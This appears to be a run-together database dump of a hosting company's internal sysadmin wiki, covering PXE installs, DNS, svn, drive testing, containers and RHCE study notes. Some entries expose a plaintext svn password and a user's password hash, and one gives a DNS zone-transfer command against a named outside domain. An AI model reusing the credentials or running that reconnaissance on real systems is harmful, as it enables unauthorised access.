there are a few sites that will respond differently now especially on the last steps regarding zone transfers however i do see that this one still allows this dig ns1 aimsniff com aimsniff com axfr dns is good stuff and while this training is just the start it will certainly get you oriented in the right direction other great sources of dns information are above are two good complete online books on dns i also found the following site to have some nifty tools it also has a cool section on tracing ttl lastly i found this site and the section on understanding caching which explains how to find out if a caching resolver already has a record for a domain before you ask it to be handy  sago dns cluster subversion  so i noticed that svn on our dns server was not really showing the log correctly so if you wanted to look at the last comments made when people committed by running dns-reload you couldn\'t find the comments - it only showed the first 46 revisions a year out of date bad if you specified the range explicitly you could see the comments like bash-3 2# svn log -r 90 101 less but that that\'s not very handy at all as you need to know the range i researched it and it turns out that this is just due to an out of date working copy and you can fix it with #svn update this has to be done per directory so if you are in var named chroot var named sago and are trying to see the last comments and it only shows ancient ones just run svn update and then svn log will show all of them i found the solution albeit a bit confusing at i\'d still like to get the named svn apache interface working to make this easy for guys - but it actually is being a pain not sure why i tried to fix it once and failed and never got back it it i might take another shot at some point but at least it works this way for now so we can actually see the comments '),(249,'install network servers',' for a general outline of how pxe and the install network works see pxe_explanation more info on cobbler can be found cobbler_pxe_install_manager design outline design outline design outline four servers are used together to perform our installs each server has distinct roles to troubleshoot issues you have to identify exactly which step in the process is at fault and identify the server that handles this function see the pxe_explanation article for full info install-gw tpa sagonet net install-gw tpa sagonet net install-gw tpa sagonet net primary only dhcp server old pxe server samba exports need to be on for old pxe runs the pxe sagonet com chooser page var www pxe passes you off to old or new pxe server as next-hop server ultrapro runs from here only needs investigated more windows ghost images are on here replace with a new opsi server cobbler sagonet com cobbler sagonet com cobbler sagonet com dell 750 2 500gb drive in raid 1 for all newer installs debian brodcom nic issue usually simple holds a kernel and initrd file which then point to ks sagonet com and use or mirrors very little thus needs installed when a new version comes out when you want to reference the repo of a previous version centos 5 2 4 x do not use our mirrors as old content will no longer be there when we roll up to a new release instead use the centos archive mirror for example previously had an nfs export for using acronis to store images could be set up again holds the sago subversion repo at commit creds etc subversion pwd are sago subv3rs1on maybe etc httpd conf d subversion conf ks sagonet com ks sagonet com ks sagonet com hold ks scripts which perform install setup and reference our mirrors ks sagonet com has key for ks string txt versions of php scripts can be found using ks sagonet com index txt or post_c5 2 txt or anaconda txt etc holds ks sagonet com tools which contains good stuff hold the base image for rip which is re-compiled into our recovery environment centos-mirror tpa sagonet net centos-mirror tpa sagonet net centos-mirror tpa sagonet net generic 2u with 4 500gb raid 5 as dev md0 1 4tb total holds local mirrors for various distros used for installs cron jobs runs rsync to update content apache configured to allow browsing of some not all repos for example that is very handy for just wgetting most recent packages from '),(250,'pxe explanation',' pxe documentation also see cobbler_pxe_install_manager and install_network_servers which describes the specific functions each server performs note do not under any circumstance make any changes to any server involved in our pxe network infrastructure without first getting with an admin these include install-gw sagonet com ks sagonet com centos-mirror tpa sagonet net and cobbler sagonet com install network boot steps install network boot steps install network boot steps 1 the client gets a dhcp address from install-gw tpa sagonet net dhcp uses port 67 udp dora process steps can be monitored with root install-gw # grep -i dhcp var log messages 2 the dhcp lease includes the next-hop server which one is sent is controlled by pxe sagonet com which adjusts this value as necessary by changing it in the dhcp config note adding more pxe servers simply requires adding more options to this page apache is set to be able to run commands necessary to perform this reconfig 3 a tftp request is sent to the next-hop server requesting the pxelinux cfg file this is stored in tftpboot on the installgw or cobbler servers 4 the client receives the pxelinux cfg default file and the pxe menu is displayed 5 user selects what os to install - e g centos when selecting the the os in cobbler it also specifies a kernel boot ks argument 7 the selected kernel and initrd load the ks argument is passed to the kernel which directs the kernel to get a kickstart file from ks sagonet com 8 the series of colon separated values is passed to index php in the ks argument this is is expanded into and array and then assigned into individual variables which are used to dynamically created the ks file 9 anaconda installer runs reading the created ks file options when it goes to pull packages it gets them from our local centos-mirror tpa sagonet net which greatly speeds up the install process 10 after base install postc5 2 php is called by kickstart which adds the recovery environment installs ocs adds support hack modifies packages and sets permissions  pxe php installs scripts  to better understand the pxe scripts and process you can look at these files which are just txt symlinks to the actual php scripts index php dynamically creates a ks file and calls anaconda php which does partitioning etc for example feed it this and see primarily creates drive partition schemes based on user selection directory of ks scripts for different distros troubleshooting troubleshooting troubleshooting  no ip address   watch var log messages on the installgw for dhcp and tftp server information and errors here you will see the dhcp lease discovery offer request and acknowledge dora packets as well as tftp server messages if you don\'t get an ip then verify your etc dhcpd conf file is correct ensure firewall is disabeld and ensure the port is open and services are listenting root install-gw # netstat -tuple udp 0 0 bootps root 645503 6607 dhcpd udp 0 0 tftp root 7356 4112 xinetd root cobbler # netstat -tuple udp 0 0 tftp root 6362 2202 xinetd note tftp is controlled through xinitd in etc xinetd d tftp not as a standalone service  get an ip but no pxe menu   if you get an ip address on the client but a message that the configuration file can not be found then verify permissions on the tftp or tftpboot folder and sub folders are correct they should be 755 minimum otherwise the tftp server may not be able to traverse directories to get to the default file to server typically tftpboot pxelinux cfg default  get the cobbler menu but can\'t reach mirrors   make sure ip forwarding and masquarading is enabled on the installgw check iptables at pxe sagonet com additional info on new vs old pxe additional info on new vs old pxe additional info on new vs old pxe new pxe setup the new system does not use dos at all you do have to understand how the ks file gets generated however as there currently is no menu or web page that creates the magic pxe string which looks something like c52 sda cpnl 10 20 30 40 02 # the tech selects which pxe network to boot from by going to pxe sagonet com # the server does a dhcp request on our private install network 192 168 42 0 # the server is directed to the appropriate pxe server and retrieves the boot image from the server selected in step 1 ## if you booted to cobbler you are presented with a pxe menu with profiles to choose from to install ## these profiles can be added edited at ## the ks file can be one saved on the cobbler server or you can point cobbler to ks sagonet com ## if you point cobbler to ks sagonet com the ks php script will dynamically create a ks file based on the string you must supply it for example you tell cobbler to use and you may go to this page in your browser to preview what ks will be used paste it into cobbler etc ## through these tools you can actually create a customer ks file and deploy it easily original pxe setup here is how the proccess of pxe boot works # the server does a dhcp request on our private install network 192 168 42 0 # the install server responds with a dhcp lease and also gives it a tftpboot image via tftp tftproot # your server takes this image and runs it as if it were a boot disk ## the boot disk that we are currently using is a modified dos boot disk formerly we had usb keychains ## the computer now runs its own dhcp request it has no notion of the dhcp that the bios did ## this boot disk mounts a samba share on the install server as p ## then it runs the pxe boot menu scripts in p menu pxemenu lst ### all of these scripts from here p are on the install-gw server under shared pxe ## if your install is a windows one it will mount a z for ghost images shared ghost on the server ## this is r w for the loading and saving of images ## if your server is linux it will loadlin and linux image with the option of ks ks sagonet com ks php ### these options are fed to the php script which generates a custom kickstart per your specifications in the boot menu ### this ks php is on centos sagonet com which is also our local yum mirror '),(251,'sago recovery environment',' sago recovery environment this is based on rip 8 2 and simply included the customers etc shadow it places a kernel and customized initrd in boot and adds an entry to grub this effectively replaces needing a live cd in nearly all instances rip linux also includes x firefox etc and is great if you need to set up a workstation in minutes with a browser as an additional ubersmith wokstation etc sago recovery environment should now work on the amds amds installed with versions prior to 7 5 don\'t work as it is missing the sata drivers for those if needed - update the recovery environment by #wget ks sagonet com recovery make-recovery-linux sh execute with 2 args ip and gateway like this # make-recovery-linux sh 66 118 10 12 66 118 10 1 the script is normally placed in root during the install but if needed you can wget it again this will update the recovery environment to the new version and set root password to whatever the  current  root password is it just copies over etc shadow and makes the recovery environment the same so client can log in using whatever credentials they normally use this same procedure can be done any time the recovery environment needs to be updated or install on any box not just the amds like when the original install pw is not known etc '),(252,'smart test',' testing ide sata hds using smart note it is best to run a full write erase on the drive prior to testing it with this script unless the entire platter is written to it is impossible to know for certain the true health of the drive therefor before running smarttest sh run dban or another full drive erase method also please note that this works on single non-raid drives it works best on pata sata and does work on scsi too though the results are interpreted differently further information on smartctl and interpretation of smart data can be found at smart drive diagnostics more information on how the results from the testing script are stored in the results database and web server see smart database use a server that you know is good ram ide sata controllers and pxe boot must be working this is very important since we do not want any false positives connect one hd to the primary master ide sata controller start with one hd at a time once you get used to testing then you can move on and start testing two at a time one on the primary controller and one on the secondary using pxe boot login to a linux live environment login as root no password is needed in the prompt type -dhcpcd -this will set your networking for dhcp  download the script  wget run it -bash smarttest dev hda for ide -bash smarttest dev sda for sata  this test will spill out the following information   -hours -errors -reallocated sectors -pending sectors -speed  interpreting the results   after you complete the test create a label with the hours serial pending reallocated sectors and the date of the test onto the drive this way we will know on sight if we should or should not use a drive and whether or not it should be the primary or secondary drive  good enough for primary hd   -drive has to have under 20000 hours -0 errors -0 reallocated sectors -0 pending sectors -faster than 45 mb s sata or 35 mb sec pata  good enough for secondary hd   this is a little more complicated and requires some investigation by the technician -drive under 40000 hours -up to about 5 errors -up to about 5 reallocated sectors -0 pending sectors -faster than 35 mb s sata or 25 mb sec pata the reason we need to interpret these results is because the smart errors reallocated sectors might have happened a long time ago and might not be relevant any longer  for example   there was a brand new 750 gb hd and it said 17 smart errors however they all occurred when the drive was first turned on and then never again this would be a perfect secondary hd if you find a drive that is hard to diagnose ask someone and we can find a solution together if you ever see something with a ridiculous number then it it\'s pretty safe to say that the drive is bad  for example   300 smart errors 15 reallocated or 15 pending sectors is way too many '),(253,'cluster design requierments',' ticket #207518 - need advanced server is an example of a cluster request this article is written to broadly address providing cluster solutions and the above is merely an example when customers start saying things like i need a cluster to host my monster sites on cuz they iz so busy it is time to start asking a lot of questions otherwise you will end up with a cluster of a whole different kind ; don\'t get me wrong we can and do provide clustered solutions to clients however it is imperative we do a full requirements definition with the client you will often find out right away that the client honestly has no idea what a cluster really is what it consists of what it helps do what it does not do nor how it is managed what are clusters what are clusters what are clusters a cluster assuredly is not a few cpanel boxes with a load balancer there are usually numerous components a load balancer multiple non-cpanel web servers a shared storage server a shared database server sometimes you then also have a backup version control server a testing development server etc obviously this is getting complicated while apache and other web servers have built-in basic load balancing functionality this assumes that the content is the same on all web servers in the cluster see how that is a problem any site content changes any post to any forum have to happen to all the sites not just one this is why there are shared database and content servers so while setting up apache to load balance a static web site is very easy doing so with real-world applications is far more complicated heck you could flash a home router with dd-wrt and pound plop it in front of four web servers and you have an instantly load balanced cluster of course if you want to change anything you have to change it on four servers etc cpanel does not directly support advanced clustering options it is intended for managing a bunch of sites on one server requirements definition requirements definition requirements definition for all the above reasons it is critical to clarify with the customer what they mean by cluster and what problem they are trying to solve just ask them what problem are you looking at solving with a cluster note that very often they may not need a cluster at all but simply separation of the web and database servers and tuning each one through off loading all the databases onto a separate server and having the other only serve web pages very significant performance can be obtained this also leads into using tools to benchmark webservers ab apachebench siege httpd conf settings monitor mysql servers mytop my conf settings phpmyadmin server stats and analyzing web traffic ntop awstats iptraf apache status etc you need all the data designing a solution designing a solution designing a solution once all the data is collected the requirements defined and the existing websites and traffic analyzed you can know decide if a fully clustered solution or a simple matter of splitting of databases or adding a caching server etc is the best solution a properly tuned database and web server can handle a stunning amount of traffic conversely adding more poorly tuned servers to spew out a crappily designed site serving 1 meg thumbnails and 300 php errors is a bit of a cro magnon approach funny yes - but given the opportunity that is exactly what you will see people asking you to do i hope this helps to clarify what clusters are and how to work out the details of their implementation with customers requesting such by all means define what they need and build them a truly massive rack - - if they need it but know before you go '),(254,'creating a container for customer centos5',' below are the steps to creating a container the order below is what has worked best for me  1 create the device  this will be referenced during the container installation per your hardware ticketing system  2 login to with login information below   get your own  3 select infrastructure from the left hand menu  - under the containers tab select new container  4 creating the container  number of containers to create - 1 select hardware node manually - select the hardware node to install on  select next  the name format should be as shown below os cp-vps i ii or ii -service# ex centos5cpanel-vpsi-service12525 description - order # client id select container sample - basic os template version - os specified by customer type password - use password from ubersmith device  select next  hostname - use hostname specified by customer if not then put client tpa sagonet com dns server ip address - 66 118 170 2 then hit the icon to add another dns server dns server ip address - 66 118 170 3 ip address - leave default should be then hit the icon to add another ip ip address -  select next  on the bottom of the page under memory configuration memory management mode - slm resource management cpu parameters - leave default under disk quota diskspace - should be in gb soft and hard limits should be the same diskinodes - use the default and multiply by the diskspace in gb ex if 10gb diskspace then inode default 10 quotaugidlimit - 3000 if a cpanel server leave disabled if not quotatime - leave default ioprio - leave default slmmemorylimit - should be in mb  select next  if there is an appropriate template for this specific install then select it  select next  review that settings and make sure everything is correct  select create   5 yum needs to be installed  under infrastructure containers find the container you just created and select it you might have to refresh the browser select the software tab installed packages install new package search for the yum package and install it  6 verifying updating install  ssh into the container run the command # yum -y update run command # df -h run command # top make sure everything is okay  7 if it it\'s a cpanel server  open up a screen session run the following commands mkdir home cpins cd home cpins wget sh latest once cpanel install is done run scripts upcp --force  8 go back to the device in ubersmith and make sure all fields are filled in  ip address container id ping monitoring you are done with the installation '),(255,'cable suppliers',' samsung serial cable dcables 1198 commerce drive richardson tx 75081 dcables net item dcr003g gold plated 3 5mm stero plug to db9 female w ferrite beads for 9 99 uber cheap hdmi 1 3 cables sf planet cs sfplanet com 2357 ventura dr suite 102 woodbury mn 55125 hdmi 6 foot cable 28 each '),(256,'screen tricks',' tutorials nifty tricks nifty tricks nifty tricks to add a floating clock in your screen session just add this line to etc screenrc caption always b wk -21 d d m y 0c neercs - screen with benefits neercs - screen with benefits neercs - screen with benefits development tool which extends screens functionality purportedly allows you to pull in processes originally started outside of the screen session and also contains other misc bling other ways other ways other ways other ways fairly hackish using retty and some clever shellcoding to move a running process to a new terminal screen include '),(257,'cups-pdf print driver',' need to install a pdf print driver in linux so you can print to a pdf file instead of a local printer do you have a pdf form you filled out but it won\'t let you save it install the cups-pdf print driver package and set up the printer in cups and you can thereafter print to pdf from any app in linux from that site see 64-bit os note below 1 go to opensuse software search search for \'cups-pdf\' make sure the proper version of opensuse is selected before you start searching 2 choose the latest version from the results i chose the one from gcoste gcoste\'s home repository but you can choose any other too you can install the rpm by using the 1-click install 3 next we need to add the pdf printer to cups so open up cups administration by clicking this link 4 if cups has already not found the new printer click \'find new printers under the \'printers category cups will have now detected the \'virtual pdf printer\' in the next screen leave the \'make\' section blank fill up the \'provide a ppd file\' section by browsing to \' usr share cups model \' directory and selecting the ppd file that came with the cups-pdf rpm you can find this file by using rpm -ql cups-pdf the file with the ppd extension in the list is the one you require to select here next click the \'add printer\' button and the pdf printer will be added to cups 5 next we need to configure the default directory in which the created pdf files will be stored this is by default \' var spool cups-pdf user \' hence to store the pdf files onto the desktop edit \' etc cups cups-pdf conf\' file change the line #out var spool cups-pdf user to out home user desktop  running 64-bit   you might need to create a symlink to the cups-pdf binary similar to callandor # ls -ld usr lib64 cups backend cups-pdf -rwx------ 1 root root 27368 feb 2 2009 usr lib64 cups backend cups-pdf callandor # ln -s usr lib64 cups backend cups-pdf usr lib cups backend otherwise the printer will not show up when you go to add it in the cups admin for more info see this post  some additional sites    printing in bash  need to print something in bash and are you getting the error lpr error - no default destination available if you have only installed the pdf printer and have no other print devices you must set the pdf driver to be the default printer in cups at to print to a pdf in bash just pipe the output to lpr you can use the -t flag to name the output file paracelsus callandor ls -l lpr -t blah  general linux printing info   pdf service menu for kde  '),(258,'wacom tablet',' new wacom bamboo pen touch support model 460 patching the linux wacom drivers and turn of the debug messages the patches spew out for the model 450 bamboo syd syd\'s newer packages for wacomlinux suse 11 2 are here and they work fine argh the wacdump utility does not actually work from inside x just run in for a vt and it will work fine you should now be able to move the mouse cursor by hovering the pen a little bit above the tablet if you have to press down the pen to move the cursor it is not working correctly go back to previous sections for troubleshooting pressing the pen down should also allow you to select click&drag things in your window manager if so congrats your pen is correctly installed you can go to next section for some more configuration or directly to the last one to set up gimp correctly hey there i just tested my wife wife\'s wacom bamboo and it appears to work okay with the desktop kernel and the wacom driver from the normal yast repos i did not have to build a new kernel module i played around with this though and also took a stab at builing a new kernel module from the linuxwacom sourceforge net project that was unable to complete the build this is just a dump of what i did really bottom line though is that my bamboo works okay with the desktop kernel and default wacom module if someone else get get\'s past the symver issue building the linuxwacom module please let me know how you did so my environment callandor # uname -r 2 6 31 5-0 1-desktop callandor # modprobe wacom callandor # lsmod grep wacom wacom 25160 0 callandor # modinfo wacom filename lib modules 2 6 31 5-0 1-desktop kernel drivers input tablet wacom ko license gpl description usb wacom graphire and wacom intuos tablet driver author vojtech pavlik license gpl description usb wacom graphire and wacom intuos tablet driver author vojtech pavlik now start udevadm monitor and plug in the wacom callandor # udevadm monitor kernel 1264779975 658774 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 usb kernel 1264779975 663309 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 usb kernel 1264779975 663375 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 input kernel 1264779975 663408 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 mouse1 input kernel 1264779975 663440 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 event3 input udev 1264779975 739282 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 usb udev 1264779975 741597 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 usb kernel 1264779975 895437 add module joydev module udev 1264779975 895504 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 input udev 1264779975 914435 add module joydev module udev 1264779975 975889 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 mouse1 input udev 1264779976 024189 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 event3 input this shows udev connected my tablet to it seems dev input event3 it works the pen moves the pointer etc the following site gave some extra info on detecting and testing the tablet using wacdump on newer 2 6 systems more proc bus input devices gives you jej ayukawa wacom more proc bus input devices i bus 0003 vendor 056a product 0042 version 1 15 n name wacom intuos2 6x8 p phys usb-0000 00 1d 1-2 input0 h handlers event3 b ev 1f b key 1cff 0 1f00ff 0 0 0 0 0 0 0 0 b rel 100 b abs f00017b b msc 1 i downloaded the linuxwacom-0 8 4-4 source and ran install for the prebuilt directory which then let you use wacdump etc on my system then callandor linuxwacom-0 8 4-4 prebuilt # wacdump dev input event3 or callandor linuxwacom-0 8 4-4 prebuilt # wacdump dev input tablet-bamboofun-4x5 model wacom bamboofun 4x5 rom 1 1-3 cls usb vndr wacom dev bamboo sub cte_450 tooltype none serial 0x00000000 in_prox out button 00000 00000 00000 pos_x 00000 00000 14760 pos_y 00000 00000 09225 distance 00000 00000 00063 pressure 00000 00000 00511 abswheel 00000 00000 00071 relwheel 00000 -00001 00001 left middle right extra side touch stylus stylus2 bt0 bt1 bt2 bt3 bt4 bt5 bt6 bt7 bt8 bt9 bt10 bt11 bt12 bt13 bt14 bt15 bt16 bt17 bt18 bt19 bt20 bt21 bt22 bt23 i don\' know why but wacdump does not update the display when you push the pen button or move it on the tablet etc although the pointer moves on the screen and i can use it in gimp etc for fun i decided to try to build the kernel module for the linuxwacom project however the symvers for my kernel although installed do not seem to allow the module to compile this was witten for ubuntu so remove change any reference to gksudo or it won\'t work on suse callandor wacom # python getwacom py -d -c make 2 entering directory root wacom linuxwacom-0 8 5-9 src 2 6 27\' building linuxwacom drivers for 2 6 kernel note drivers not enabled as modules in your kernel config but requested through configure are not built make -c lib modules 2 6 31 5-0 1-desktop source m root wacom linuxwacom-0 8 5-9 src 2 6 27 make 3 entering directory usr src linux-2 6 31 5-0 1\' warning symbol version dump usr src linux-2 6 31 5-0 1 module symvers is missing; modules will have no dependencies and modversions building modules stage 2 modpost 1 modules so it appears symvers did not like it and it didn\'t build the ko -- so close callandor wacom # modinfo linuxwacom-0 8 5-9 src 2 6 27 wacom o filename linuxwacom-0 8 5-9 src 2 6 27 wacom o license gpl description usb wacom tablet driver author vojtech pavlik license gpl description usb wacom tablet driver author vojtech pavlik callandor usr src linux # make scripts fixed the missing modpost error callandor usr src linux-2 6 31 5-0 1 # make -c lib modules 2 6 31 5-0 1-desktop source m root wacom linuxwacom-0 8 5-9 src 2 6 27 make entering directory usr src linux-2 6 31 5-0 1\' warning symbol version dump usr src linux-2 6 31 5-0 1 module symvers is missing; modules will have no dependencies and modversions building modules stage 2 modpost 0 modules bin sh scripts mod modpost no such file or directory make 1 __modpost error 127 make modules error 2 make leaving directory usr src linux-2 6 31 5-0 1\' '),(259,'gifts for people',' kyle sun fire x4540 storage server syd syd syd '),(260,'dlna and mediatomb','  configuring mediatomb  here are some links on configuring mediatomb for mediatomb streaming to ps3 and transcoding edits to config xml and and and the gentoo wiki page here other transcoding links other links  projects available  good comparison of various dlna and upnp media servers my working transcoding mediatomb mediatomb config xml file xml version 1 0 encoding utf-8 -- this config file is from -- 49153 mediatomb uuid ca39658b-8187-45c5-aca2-bb91151935cb -- var lib mediatomb -- home paracelsus mediatomb usr share mediatomb web sqlite3 db localhost 3006 mediatomb -- mediatomb -- mediatomb -- ps3 requires yes -- usr share mediatomb js common js usr share mediatomb js playlists js -- only show pc directory -- usr share mediatomb js import js -- don\'t import anything not listed here since it it\'s pointless -- -- -- -- list images so they get imported -- -- added for ps3 divx support -- -- transcode flash and avi files -- -- -- -- added for ps3 thumbnail support -- audio l16 no yes no -- added for ps3 thumbnail support -- image jpeg yes yes 128x128 -- don\'t transcode newer avi avi\'s which are supported -- dx50 video mpeg yes yes yes my working etc mediatomb conf this is a sambel configuration file for the mediatomb daemon script ## used on fedora core ## by default the configuration will be created in etc mediatomb ## network interface on which the server will run you need to edit this mt_interface wlan0 ## user defined command line options that may be passed to the server mt_options ## mediatomb will be started on port 50500 mt_port 50500 ## mediatomb will run as mediatomb mt_user mediatomb mt_group mediatomb ## location of the pid file mt_pidfile var run mediatomb pid ## location of the log file mt_logfile var log mediatomb ## location of the config file database mt_home etc mt_cfgdir mediatomb '),(261,'irc - internet relay chat',' why chat i\'ve found on line classes at spc to not be that great of an experience largely due to the complete isolation of students imposed by angel angel   really  lacks some features to make on line classes really work there are no groupware or collaboration features and amazingly no way to simply chat with other students in the same class with you so much for making on line classes just like being in a classroom often times these classes have quite a few students enrolled dozens chances are that when you are working on your assignments there are at least one or two others doing the same however we are all cut off from each other really spc should work at improving this we all know how lame the discussion boards are they can be okay sometimes if you need help but sometimes chatting is far easier and when you have two or three people talking together about a problem it is more fun to discuss two way dialog can be  far  easier and faster than message boards one way to implement a way for us to interact more as a class is by using internet relay chat internet relay chat internet relay chat internet relay chat internet relay chat irc is a very old school way to chat on the internet it has been around a very long time and predates other chat methods you may be familiar with such as aol or google or yahoo or msn messenger or facebook etc it is actually a great way to easily and instantly join any number of people together so they can chat it takes literally seconds think of it like this irc is just like walking into a room we all know where the room is if you go in the room and others are there we can all talk if there is no one there well - then you will be dancing with yourself so why use irc rather than other ways to chat  benefits   no registration or need to create an account it does not require people to worry about who uses what instant messaging service or what client they need to use no software required to install just a web browser you  can  use a fancy irc client but it is really not necessary you don\'t have to worry about adding the names of buddies to be able to see talk to them the chat room is created whenever you want just go there and the room is created as long as people are in the room you can talk with each other because if you use it you will be a very 31337 hax0r like on numb3rs haha  how to use irc  it is really super easy you can just point your browser to either of these two sites the first one is very basic and should work with any browser this next one is a bit fancier but you have to have java for it which you most likely do anyway just go to either one of these links for the nickname enter whatever name you want to go by you can always change it for the channel enter the name of the room you want to create or join for example nickname joeblow channel spcacg2021 if we all use that same room name we will all see each other and be able to interact its that simple more information more information more information follow the rules of proper irc etiquette see there are zillions of site out there on irc commands and such one such tutorial here sometimes you want to copy and paste in a bunch of information one way to do this is to use you can paste in a bunch of content there and it will give you a url you can then give others people can then go there to look at what you pasted if you are on campus you may find that irc is blocked schools love to block irc there are many ways to get around this and a good place to start is at '),(262,'sydney biscuit',' dob 05 13 1967 gift ideas '),(263,'rhce training notes',' epel epel epel automounts automounts automounts root server19 # cd net instructor rescue mode automount is created when an nfs server is specified at start up cd mnt source  resuce environment  chroot mnt sysimage export manpath usr share man xend and virt-install xend and virt-install xend and virt-install root station19 # virt-install -p -n vcracker -r 256 -f dev vol0 lv cracker -w network default -l -x ks root station19 # virt-install -p -n vcracker -r 256 -f dev vol0 lv cracker -w bridge xenbr0 -l -x ks enable auto starting of the vms with root station19 # virsh autostart vcracker config files for each auto starting dom-u are in etc xen auto console a vm virtsh consolve vmname escape for console session ctrl-shift-right bracket virtmanager logs to # tail root virt-manager virt-manager log you can also just vnc to the running vms directly bypassing the virt-manager tool if you like mon 08 feb 2010 11 21 07 virt-manager 16038 debug details 1217 graphics console configured at vnc 127 0 0 1 5901  console access  to access grub on a vm start with as xm create -c vserver vncviewer 127 0 0 1 syslog syslog syslog etc sysconfig syslog add -r etc syslog conf add ip address to send to networking networking networking etc sysconfig network golbal gateway specified here interfaces may have their own gateway which takes precedence peerdns yes no will cause the dns server provided by the dhcp lease to be ignored ethtool_opts any device-specific options supported by ethtool for example if you wanted to force 100mb full duplex ethtool_opts speed 100 duplex full autoneg off note that changing speed or duplex settings almost always requires disabling autonegotiation with \'autoneg off\' ethernet channel bonding ethernet channel bonding ethernet channel bonding load bonding module in etc module conf alias bond 0 bonding configure the master slave interfaces in etc sysconfig network-scripts there will now be master slave ifcfg-bond0 etc proc net bon0 info initscripts options initscripts options initscripts options usr share doc initscripts-8 45 30 sysconfig txt specified options for init scripts networking etc as above #yum install kernel-docs vim usr share doc kernel-doc-2 6 18 documentation networking ip-sysctl txt add options to your etc syscontrl con and restart with sysctl -p partitions and filesystems partitions and filesystems partitions and filesystems partprobe dev sda will re-read block devices and repopulate proc partitions so the kernel is aware of it fdisk will see a new partition immediately on disk but you need to update proc for kernel awareness user accounts user accounts user accounts vim etc login defs controls password aging policies chage -d yyyy-mm-dd username sets date password last changed fix locked out account for user in joshua alex dax bryan zak ed; do chage -m 30 user; done #set the number of days to expire password for user in joshua alex dax bryan zak ed; do chage -d 2010-01-01 user; done #set the last login date for each password adding appending with -a a user to multiple supplementary groups root server19 data # usermod -a -g sales hr web student root server19 data # groups student student student sales hr web chmod g s sales chmod g s hr chmod g s web for user in joshua alex dax bryan zak ed; do su user -c \'touch depts sales hr web user\'; done for user in fred barney wilma betty; do usermod -a -g bedrock user; done autofs autofs autofs monitor directories and automatically mount nfs exports to local machine mount home directories locally when using central authentication models etc auto master set the top directory to monitor e g misc etc auto misc called from above set set\'s mappings linux -ro soft intr instructor example com var ftp pub you can now cd locally to misc linux and will see the contents of the nfs export or cd instructor example com will work too pam pam pam look in etc pam d to see what applications are pam aware documentation usr share doc pam-0 99 6 2 html linux-pam_sag html see chapter 6 reference guide for available modules note the modules services provided section for each module describes where it can be used cat etc securetty shows defined secure terminals which can be used with usr share doc pam-0 99 6 2 html sag-pam_securetty html to limit root access via secure terminals system-auth - system-auth-ac this is modified by system-config-authentication authconfig-tui which will overwrite it system-auth is commonly included in other definitions e g sudo vsftpd etc root station19 pam d # cat sudo # pam-1 0 auth include system-auth account include system-auth password include system-auth session optional pam_keyinit so revoke session required pam_limits so usr share doc pam-0 99 6 2 html sag-pam_nologin html causes etc nologin to prevent non-root logins etc nsswitch will be modified by changed to pam ldap system-config-auth etc  restricting access  man pam_listfile added this line to etc pam d system-auth-ac auth required pam_listfile so item user sense allow file etc pam d pamtest tail var log secure to monitor config issues  setting up autofs  root server19 pam d # getent passwd guest2015 guest2015 1 7hyhcqv2 irq78j usvaprwebjsqn71 2015 2015 home guests guest2015 bin bash root server19 pam d # showmount -e 192 168 0 254 home guests 192 168 0 0 255 255 255 0 add to etc auto master home guests etc auto guests create etc auto guests using shortcut symbols to map -rw soft intr 192 168 0 254 home guests & service autofs restart  nis  yptest -d notexample -h 192 168 0 254 resetting authconfig --disablenis --update  ldap  if using tls ensure you use the hostname in the ldap config not ip so that tls works correctly if the ip is used getent passwd will not return users but ldapsearch -x -z will work acl permissions acl permissions acl permissions setfacl -m u barney - shared lodge secretstuff setfacl -m u betty rw secretstuff file system quotas file system quotas file system quotas files in directory are created with default acl on directory edquota utility setquota shell tool quotacheck filesystems initializes database quota on filesystem to enable encryption and certificates encryption and certificates encryption and certificates reading a certificate openssl x509 -in example-ca crt -text less se linux se linux se linux man 8 selinux has grea see also references if logging enable se linux in permissive mode otherwise you will not get all the log messages system generates ps -z and ls -z to view se linux info getenforce setenforce for permissive enforcing disable requires a reboot to fully implement file_contexts selinux requires files to have an extended attribute to define the file type policy governs the access daemons have to these files selinux httpd policy is very flexible allowing users to setup their web services in as secure a method as possible contexts user role type sensitivity category viewing bools getsebool -a grep http might show a context httpd_enable_cgi -- on which you can view at man 8 httpd_selinux changing context chcon -r -t public_content_t mydata html does not persist across reboot use semanage viewing contexts semanage fcontext -l #shows all grep for what you want system-config-selinux changes are persistent monitor alerts and activity with se troubleshoot server yum install setroubleshoot-server start with sealert  se linux test on ntpd service  root station19 # getsebool -a grep ntp ntpd_disable_trans -- on root station19 # setsebool ntpd_disable_trans off root station19 # getsebool -a grep ntp ntpd_disable_trans -- off root station19 # service ntpd restart shutting down ntpd ok ntpd synchronizing with time server ok starting ntpd ok root station19 # ntpdc -c pe server reports data not found tail var log messages will show the se log message and will suggest running sealert -l 01b6ea7c-d28a-44f7-87d0-accc48f1569d which will show details of the violoation the file was moved thus the context labeling was not maintained and needs re-labeled with root station19 # restorecon -v \' etc ntp conf\' restorecon reset etc ntp conf context user_u object_r user_home_t s0- system_u object_r net_conf_t s0 netfilter iptables netfilter iptables netfilter iptables base config etc sysconfig iptables-config iptables -t  filter  nat mangle -a -i input forward output -s ip address -j drop reject log accept -f flushes rules but not policy set default policy will still exist -z zero bytes and counters -n your_chain_name -x your_chain_name there are tables filter nat mangle which include their own chains iptables -l -t filter iptables -l -t nat you can also to nat and pat with port ranges etc in the nat table  connection tracking  provides statefull inspection of both tcp and udp traffic states new established related invalid connections are stored in proc if an established connection is matched first no further checking is required kernel works harder and it takes more memory but checking chains chain traversal for remaining packets in same connection is faster  saving restoring  iptables-save iptables-restore output and input rules using std out service iptables saves save to etc sysconfig iptables will overwrite existing  ipv6  ip6tables commands does not support -t nat yet disabling etc modprobe conf alias net-pf-10 off alian ipv6 off  class-rules custom chain  root server19 # cat root iptables # generated by iptables-save v1 3 5 on wed feb 10 13 47 00 